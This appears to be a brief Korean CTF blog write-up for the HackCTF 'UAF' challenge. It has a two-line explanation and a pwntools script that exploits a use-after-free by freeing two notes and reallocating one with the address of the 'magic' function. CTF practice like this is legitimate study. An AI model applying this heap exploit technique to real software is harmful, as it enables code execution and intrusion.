HackCTF

HackCTF - UAF

shinobu 2021. 11. 26. 03:52

 

저기 부분을 print_note_content가 있다

이후 free를 시켜주는데 이를 이용하면 문제를 풀 수 있다

 

from pwn import *

r = remote('ctf.j0n9hyun.xyz', 3020)
e = ELF('./uaf')

def add_note(size, data):
    r.sendlineafter(':', '1')
    r.sendlineafter(':', str(size))
    r.sendlineafter(':', data)

def del_note(idx):
    r.sendlineafter(':', '2')
    r.sendlineafter(':', str(idx))

def print_note(idx):
    r.sendlineafter(':', '3')
    r.sendlineafter(':', str(idx))

add_note(16, 'AAAA')
add_note(16, 'AAAA')

del_note(0)
del_note(1)

add_note(8, p32(e.sym['magic']))

print_note(0)

r.interactive()